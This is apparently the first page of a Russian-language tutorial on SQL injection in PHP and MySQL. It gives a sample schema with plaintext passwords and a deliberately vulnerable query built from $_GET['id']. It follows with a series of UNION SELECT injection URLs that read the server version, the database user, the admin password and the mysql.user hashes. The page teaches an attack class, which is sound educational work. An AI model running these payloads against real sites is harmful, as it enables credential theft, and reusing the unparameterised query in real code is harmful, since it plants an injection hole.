Страница 1 из 10 Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.
SQL инъекция (SQL injection) - уязвимость которая возникает при недостаточной проверке и обработке данных, которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.
Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний.
Использование этой уязвимости дает путь к большим возможностям: как то кража, подмена или уничтожение данных, отказ в обслуживании, и т.д.
В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии междуPHP и базой данных MySQL.
Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:
CREATE DATABASE `news`; USE `news`; # # таблица новостей # CREATE TABLE `news` ( `id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id`) ) TYPE=MyISAM; # #добавляем некоторые данные # INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (1,'first news','2005-06-25 16:50:20','news text'); INSERT INTO `news` (`id`,`title`,`date`,`text`) VALUES (2,'second news','2005-06-24 12:12:33','test news'); # # таблица пользователей # CREATE TABLE `users` ( `id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT '0', PRIMARY KEY (`id`) ) TYPE=MyISAM; # # добавляем несколько пользователей, одного с правами админа, другого простого # INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (1,'admin','qwerty',1); INSERT INTO `users` (`id`,`login`,`password`,`admin`) VALUES (2,'user','1111',0);
А теперь образец PHP кода: <?php $link=mysql_connect("localhost","user","password"); mysql_select_db("sqltest",$link); if (!empty($_GET["id"])) { $query="SELECT * FROM `news` WHERE `id`=".$_GET["id"]; $res=mysql_query($query,$link) or die(mysql_error($link)); } ?>
Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.
Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет. https://test.com/index.php?id=1
как результат "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1"
или
https://test.com/index.php?id=1qwerty
результат "Unknown column '1qwerty' in 'where clause'"
запрос
https://test.com/index.php?id=2-1
при наличии уязвимости должен выдать результат, аналогичный
https://test.com/index.php?id=1
Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE.
Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.
https://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null
количество "null" должно соответствовать количеству полей, которые используются в запросе.
Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.
Например,
https://test.com/index.php?id=-1+UNION+SELECT+null,
теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.
версия MySql https://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null
https://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null
https://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null
логин текущего пользователя базы данных https://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null
имя используемой базы данных https://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null
Получение данных из других таблиц: SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,`password`,null,null from `users`where `id`=1 Вот таким нехитрым способом узнают пароль или хэш пароля админа.
Если же текущий пользователь имеет права доступа к базе "mysql", без малейших проблем злоумышленник получит хэш пароля админа. https://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user
Теперь его подбор это просто вопрос времени. |